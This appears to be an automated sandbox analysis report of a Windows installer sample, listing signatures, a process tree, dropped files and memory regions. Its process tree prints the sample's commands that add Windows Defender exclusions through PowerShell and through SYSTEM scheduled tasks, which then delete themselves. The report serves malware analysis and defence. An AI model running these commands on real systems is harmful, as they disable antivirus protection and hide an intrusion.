Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 00:57

General

  • Target
    install.2.0.03.exe
  • Size 34.6MB
  • Sample261023-bbdvjayz5m
  • SHA256 04e433e77931ea3b9ff6a4f4ac923acc3a1f915815ebf19a198aa6a23851e304
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4348
  • C:\Users\Public\iowacU\TC6bSu.exe
    "C:\Users\Public\iowacU\TC6bSu.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4992
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\iowacU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\iowacU\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1488
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1936
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5976
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4548
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4852
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:708
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5504
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4272
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2924
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:6092
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5828
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4888
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2876
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5872
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2896
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:4568
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5780
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5772
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1920
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\iowacU" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3988
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\iowacU" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:3608
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:572
                          • C:\Users\Public\iowacU\TC6bSu.exe
                            "C:\Users\Public\iowacU\TC6bSu.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4300
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:3152
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:5288
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:3084
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4240
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:3176
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:2500

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 1KB
                                      • SHA256 089302c59c0c53a4597352965e63aacac5951085fefef95465f46dad7e1360ac
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 1KB
                                      • SHA256 044588c8da7ecf36fe481d4cf53448646297b55ebd03d98aa60c038795de9566
                                      • MD5 SHA1 SHA512 TLSH

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 512B
                                      • SHA256 10fa5521341696a967b372954cc5726d628fcc6584eb4b23e50a3c0b1aac2c7c
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 506B
                                      • SHA256 003e0e76c1dee378b31379b04b957948be91dc34294ea7f6bf98c6f3f6640256
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_mjuxmmuy.qvn.psm1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mjuxmmuy.qvn.psm1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      TC6bSu.exe

                                      • Path C:\Users\Public\iowacU\TC6bSu.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\iowacU\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 2d2aefbe124933038581df4497db5d2f7fe1264f3f98df04d81c563d21062bb7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\iowacU\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 b7a7961295f1669d99f6df0da46524b7b43b9eb76f7599f37fe4da726915a8b6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\iowacU\msadox.tb
                                      • Size 8KB
                                      • SHA256 9368576ba9911e9962704d4f6b6b0834ab08265983223a15133e16d4a337f615
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/4300-580-0x000001A013D70000-0x000001A014647000-memory.dmp

                                      memory/4300-577-0x00007FFFED840000-0x00007FFFEDD5E000-memory.dmp

                                      memory/4300-589-0x000001A013D70000-0x000001A014647000-memory.dmp

                                      memory/4300-588-0x000001A013D70000-0x000001A014647000-memory.dmp

                                      memory/4300-590-0x000001A013D70000-0x000001A014647000-memory.dmp

                                      memory/4300-591-0x00007FF8107D0000-0x00007FF8107D2000-memory.dmp

                                      memory/4300-587-0x000001A013D70000-0x000001A014647000-memory.dmp

                                      memory/4300-584-0x000001A013D70000-0x000001A014647000-memory.dmp

                                      memory/4300-582-0x00007FF8107E0000-0x00007FF8107E2000-memory.dmp

                                      memory/4348-525-0x00007FFFFEF80000-0x00007FFFFEF92000-memory.dmp

                                      memory/4348-524-0x0000000000520000-0x000000000052E000-memory.dmp

                                      memory/4348-1-0x0000000000520000-0x000000000052E000-memory.dmp

                                      memory/4348-0-0x0000000000520000-0x000000000052E000-memory.dmp

                                      memory/4348-2-0x0000000001F10000-0x0000000001F1C000-memory.dmp

                                      memory/4348-504-0x00007FFFFEF80000-0x00007FFFFEF92000-memory.dmp

                                      memory/4992-607-0x0000022A7B1F0000-0x0000022A7B1FA000-memory.dmp

                                      memory/4992-606-0x0000022A7B4A0000-0x0000022A7B552000-memory.dmp

                                      memory/4992-605-0x0000022A7B210000-0x0000022A7B22E000-memory.dmp

                                      memory/4992-602-0x0000022A7B1A0000-0x0000022A7B1C2000-memory.dmp

                                      memory/5048-559-0x00000265C2E50000-0x00000265C2EDA000-memory.dmp

                                      memory/5048-543-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-566-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-550-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-544-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-564-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-546-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-545-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-539-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-531-0x00007FFFED840000-0x00007FFFEDD5E000-memory.dmp

                                      memory/5048-538-0x00007FF8107E0000-0x00007FF8107E2000-memory.dmp

                                      memory/5048-536-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-530-0x00007FF8107D0000-0x00007FF8107D2000-memory.dmp

                                      memory/5048-601-0x00000265C2030000-0x00000265C2907000-memory.dmp

                                      memory/5048-560-0x00000265C2E50000-0x00000265C2EDA000-memory.dmp

                                      memory/5048-561-0x00000265C2E50000-0x00000265C2EDA000-memory.dmp

                                      memory/5048-558-0x00000265C2D10000-0x00000265C2D5E000-memory.dmp

                                      memory/5048-562-0x00000265C2E50000-0x00000265C2EDA000-memory.dmp

                                      memory/5048-556-0x00000265C2030000-0x00000265C2907000-memory.dmp